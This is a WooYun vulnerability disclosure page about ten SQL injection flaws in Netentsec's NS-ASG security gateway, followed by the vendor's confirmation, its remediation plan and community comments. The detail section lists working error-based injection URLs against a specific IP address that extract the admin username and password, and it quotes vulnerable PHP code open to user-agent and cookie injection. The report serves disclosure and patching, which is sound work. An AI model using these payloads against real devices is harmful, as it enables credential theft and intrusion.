当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-059000

漏洞标题：网康 NS-ASG 应用安全网关注入漏洞11-20

相关厂商：网康科技

漏洞作者： 小新

提交时间：2014-04-30 17:14

修复时间：2014-06-14 17:15

公开时间：2014-06-14 17:15

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-30： 细节已通知厂商并且等待厂商处理中
2014-05-01： 厂商已经确认，细节仅向厂商公开
2014-05-11： 细节向核心白帽子及相关领域专家公开
2014-05-21： 细节向普通白帽子公开
2014-05-31： 细节向实习白帽子公开
2014-06-14： 细节向公众公开

简要描述：

网康 NS-ASG 应用安全网关注入漏洞合集另外10个注入点，这辈子都不想再看到网康的注入了

详细说明：

1. https://202.113.20.208/vpnweb/resetpwd/resetpwd.php?action=update&UserId=extractvalue(0x1,%20concat(0x1,%20(select%20@@version)))
2. https://202.113.20.208/WebPages/applyhardware.php?action=applyhardware&hard_user=test%2527%20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23
3. https://202.113.20.208/WebPages/singlelogin.php?loginId=1 %20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23&submit=t
4. https://202.113.20.208/admin/add_getlogin.php?SingleLoginId=1 %20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23
5. https://202.113.20.208/admin/add_postlogin.php?SingleLoginId=1 %20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23
6. https://202.113.20.208/admin/count_host.php?search=test'%0aand%0aextractvalue(0x1,concat(0x1,@@version))%0aor'%0a&action=find&begintime=%20'ttest%20--%20%20t
7. https://202.113.20.208/admin/add_ikev2.php?TunnelId=1%20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23
8. https://202.113.20.208/admin/configguide/ipsec_guide_1.php?TunnelId=1%20and%20extractvalue(0x1,%20concat(0x1,%20(select%20concat(adminname,%200x7e,%20passwd)%20from%20Admin%20limit%201))) %23


9. https://202.113.20.208/3g/index.php
  12      $dbh = db_connect();
  13      //璁板綍鎵嬫満鍨嬪彿鍙夾GENT淇℃伅
  14      $AgentContent = $_SERVER['HTTP_USER_AGENT'];
  15      $AcceptContent = $_SERVER['HTTP_ACCEPT'];
  16      $time = date("Y-m-d H:i:s",time());
  17      $insert = "insert into MobileInfoTable values(NULL,'$AgentContent','$AcceptContent','$time');";
  18      db_insert($dbh,$insert,"鎻掑叆鎵嬫満user_agent");
  19      $query="select MingCheng from u_Webconf"; 
  20      
  21      $res = db_query($dbh, $query, "鏌ヨ鍙傛暟"); 
  22      list($MingCheng) = db_fetch_row($res);
  23      $MingCheng=gb2utf8($MingCheng);    
  24      echo "$MingCheng\n";


$_SERVER['HTTP_USER_AGENT']referer注入

10. https://202.113.20.208/include/authrp.php
cookie注入
<?
include("common.inc");
if ( !isset($HTTP_COOKIE_VARS['reachstone_uid']) && !isset($HTTP_COOKIE_VARS['reachstone_uid_bak']))
{
     redirect("/WebPages/login.php");
     exit();
}
/* ---------- authenticate ----------  */
     $uid = $HTTP_COOKIE_VARS['reachstone_uid'];
     if(!$uid)
          $uid = $HTTP_COOKIE_VARS['reachstone_uid_bak'];
     $dbh = db_connect();
     $query="select SessionId from ISCOnLineUser where SessionId=$uid";
     if( $res = db_query($dbh, $query, "检查用户是否已登录") )
     {
          if ( !db_fetch_row($res) )
          {
               redirect("/WebPages/login.php");
               exit();
          }
     }
     else
     {
          redirect("/WebPages/login.php");
          exit();
     }
?>


$HTTP_COOKIE_VARS['reachstone_uid']cookie注入

漏洞证明：

2014-04-30-152233_670x159_scrot.png


2014-04-30-152250_703x148_scrot.png


2014-04-30-152308_696x151_scrot.png


2014-04-30-152325_631x166_scrot.png


2014-04-30-152342_594x159_scrot.png


2014-04-30-152401_754x140_scrot.png


2014-04-30-152421_739x173_scrot.png


2014-04-30-152446_758x204_scrot.png

修复方案：

过滤啊

版权声明：转载请注明来源 小新@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-05-01 22:07

厂商回复：

4月29日，网康收到CNVD漏洞细节通知，迅速启动并同时展开了以下工作：
1.进一步验证漏洞细节，目前已确认所曝漏洞确实存在于ASG产品；
2.对全线产品进行安全自查，重点确认ASG产品是否仍存其它未知漏洞，并验证类似漏洞是否同存于其它产品线，截至目前，自查工作仍在进行中，全线产品暂未发现新的漏洞；
3.开发用于漏洞修补的更新程序，将尽快发布应急补丁包，介时用户可通过操作设备管理界面直接安装该更新程序以对所曝漏洞进行应急性修补；
4.售后服务部通过内部CRM系统导出全部ASG用户名单，并开始逐一联系用户通报漏洞情况，补丁包发布后，将再次逐一通知所有用户及时安装更新，此项工作预计3工作日内完成；
5.为避免统计疏漏，工程部于4月30日16:00向CNVD共享了在线ASG设备的辨识方法，将配合CNVD共同开展在线设备的主动探测工作，一旦发现未更新补丁的在线设备，将联系并协助用户及时更新，此项工作预计10工作日内完成；
6.将尽快向社会开放漏洞提交邮箱，接受第三方机构、白帽子及其它组织、个人向网康提交产品漏洞，向所有帮助网康产品进步的组织和人士表示感谢。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-04-30 17:17 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    我那个去呀，这网康是什么情况呀！

  2. 2014-04-30 17:18 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    这..未免也太屌了吧

  3. 2014-04-30 17:22 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    我也不挖了，这系统漫天都是洞。。。估计网康的所有设备都这样。。。谁用谁知道。。。从没见过这么烂的设备

  4. 2014-04-30 17:23 | 小新 ( 普通白帽子 | Rank:129 漏洞数:19 | 我可是要成为普通白帽子的小新)

    @狗狗侠 好吧，连你都不挖了，剩下的我就不继续刷了

  5. 2014-04-30 18:00 | 倪明 ( 实习白帽子 | Rank:50 漏洞数:13 | 倪明，中关村二小)

    @狗狗侠 @小新 代码像小学生写的一样

  6. 2014-04-30 18:21 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    在乌云打了一天的广告

  7. 2014-04-30 18:22 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    这产品废了

  8. 2014-04-30 18:35 | 小夜 ( 路人 | Rank:15 漏洞数:8 | 漫长的日子)

    网康中枪杆上了

  9. 2014-04-30 19:29 | 魂淡、 ( 路人 | Rank:17 漏洞数:2 | 么么哒)

    不好吧，网康是什么，有点叼啊

  10. 2014-04-30 21:29 | 小新 ( 普通白帽子 | Rank:129 漏洞数:19 | 我可是要成为普通白帽子的小新)

    @狗狗侠 @倪明 话说网康没有要你们的联系方式查水表么

  11. 2014-04-30 22:07 | 倪明 ( 实习白帽子 | Rank:50 漏洞数:13 | 倪明，中关村二小)

    @小新 要了

  12. 2014-05-01 08:41 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    @小新 有点意思

  13. 2014-05-01 22:15 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    厂商的态度点1008611个赞！

  14. 2014-06-14 17:32 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    这中5是什么情况？